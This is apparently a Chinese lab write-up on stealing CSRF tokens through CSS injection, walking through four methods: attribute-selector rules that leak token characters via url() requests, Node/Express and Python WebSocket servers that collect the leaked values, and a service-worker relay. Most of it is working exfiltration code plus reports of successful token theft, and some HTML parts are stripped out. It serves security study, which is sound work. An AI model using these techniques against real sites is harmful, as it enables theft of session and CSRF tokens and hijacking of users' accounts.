目录
CSS注入窃取标签属性数据
简单的一个实验:
方法1:js+node.js实现
侧信道攻击
方法2:对比波兰研究院的方案
使用兄弟选择器
方法3:js+websocket实现CSS注入
实验实现:
方法4:window.open结合serviceworker
实验验证:
现代浏览器都已经不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在url()、expression()中执行JavaScript代码从而实现XSS。
但是目前CSS注入在窃取数据方面仍然非常有用的,下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器,根据不同的属性选择标签。
例:
hello world
数据选择器还可以匹配一些特征,比如xxx开头或者xxx结尾等。
利用上面的性质我们可以看出来窃取页面标签属性中的数据,比如下面当csrfToken以某个字母开头时,可以通过url()通知攻击者,从而窃取csrfToken的第一位的值:
在CSSinject目录下面新建
(1)css.html:
CSS
;
这里首先引入了css.css样式 ,然后有一个输入,名为csrf,值为abcdef
(2)css.css:
input[name="csrf"][value^="a"] {
background: url(https://www.baidu.com);
}
这里就是通过标签选择器,选择到了name=csrf并且value是以a开头的输入,给它 设置一个背景,背景的URL是www.baidu.com
(3)测试
这里查看很明显成功的访问了
当然还有个问题,当标签type=hidden时浏览器是不允许我们设置background的,这样就无法触发
url()请求服务器解决方法之一是利用~CSS的兄弟选择器(必须是同一个父母),选择为后续所
有兄弟节点设置background。
(1)css.html
侧信道攻击
(2)css.css
input[name="csrf"][value^="0"] {
background: url(https://www.baidu.com);
}
(3)css.php
>
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
(4)css.js
首先需要一个服务端,用来存储生成的md5值
var express = require('express');
var app = express();
var path = require('path');
var token = "";
//采用CORS实现跨域,允许被攻击页面向服务器发送请求
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
res.header("Access-Control-Allow-Credentials", true);
next()
})
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function (req, res) {
token = req.params.token;
console.log(token)
res.send('ok');
});
//return页面请求,向客户端返回刚获取到的token
app.get('/return', function (req, res) {
res.send(token);
});
//返回恶意页面
app.get('/css.html', function (req, res) {
res.sendFile(path.join(__dirname, 'css.html'));
})
//配置本地服务器
var server = app.listen(8083, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
(5)测试
首先模拟服务端使用node运行css.js
然后在浏览器中输入www.security.com/css.html
可以看到成功的爆破出了服务端生成的随机Token
服务端这里也将Token的值逐步的打印了出来
结论:使用iframe将受害页面包含进来,可以对其进行CSS注入。
获取token,token存储位置:服务端创建变量token转发给客户端,并且将token数值打印输出到服务端。
(1)css.html
(2)css.js
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 3000;
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
console.log(token);
res.send('');
});
app.get('/css.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/css.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
(3)css.css
input[name="csrf"][value^="0"] {
background: url(https://www.baidu.com);
}
(4)css.php
>
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
(5)安装js-cookie库
在VScode中创建一个名为package.json文件,并且将以下内容进行写入
{
"name": "css-attack-1",
"version": "1.0.0",
"description": "",
"main": "index.js",
"dependencies": {
"express": "^4.15.5",
"js-cookie": "^2.1.4"
},
"devDependencies": {},
"author": "",
"license": "ISC"
}
进入CMD命令行,移动到对应目录下:npm install
(6)这时候使用node监控 3000端口
(7)监控完成后,这时候就可以尝试访问www.security.com/css.html
可以看到,成功的爆出了Token的值
服务端:
注:如果访问不成功可以尝试换一个浏览器再次尝试访问
这里可以尝试将php中的input中修改类型为hidden,然后再尝试访问就会发现访问失败
> //修改后
> //原
再次访问:
可以看到,这个现在没有了输入框。因此无法爆出Token值
解决办法:使用兄弟元素
css.php文件
> //原
> //增加的
css.html文件
测试:
可以看到,成功的拿到了Token
(1)websocket服务端
使用paycharm软件
需要进行WebSocketServer导包:
pip install SimpleWebSocketServer
我这里因为之前已经导入过了,所以没有下载
(2)服务端配置
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000
class RequestHandler(BaseHTTPRequestHandler, WebSocket):
def do_GET(self):
"""Respond to a GET request."""
print("http GET request")
self.send_response(200)
self.end_headers()
ws.sendMessage(self.path)
return
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class SimpleEcho(WebSocket):
def handleMessage(self):
# echo message back to client
print(self.address, 'new msg')
#self.sendMessage(self.data)
def handleConnected(self):
print(self.address, 'connected, opening http server')
global ws
ws = self
httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
server_thread = Thread(target=httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
print('http is on 8000,and ws is on 8008:')
def handleClose(self):
print(self.address, 'closed')
server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()
(3)js_websocket.html
Document
(4)js_websocket.php
>
(5)测试
首先开启pytcharm,运行服务器
然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html
浏览器返回:
pytcharm返回:
可以看到成功的拿到了Token
github上下载软件包:
GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)
(1)attacker.html
click somewhere to begin attack
The CSRF token is:
(2)mockingTheBackend.js
navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
console.log("got message");
localStorage.setItem("csrfToken", event.data);
}
(3)sw.js
self.addEventListener('fetch', function (event) { //监听fetch事件就是
var urlLogged = event.request.url; //监听到请求
if (urlLogged.indexOf("/log.php/") >= 0 && urlLogged.indexOf("victim") == -1) {
//这里这里是否有log.php并且是否有请求页面
var splitted = urlLogged.split("/log.php/");
var csrfToken = splitted[splitted.length - 1];
console.log(csrfToken);
self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken))); //
}
});
(4)victim.html
(5)测试
未点击前:
点击后: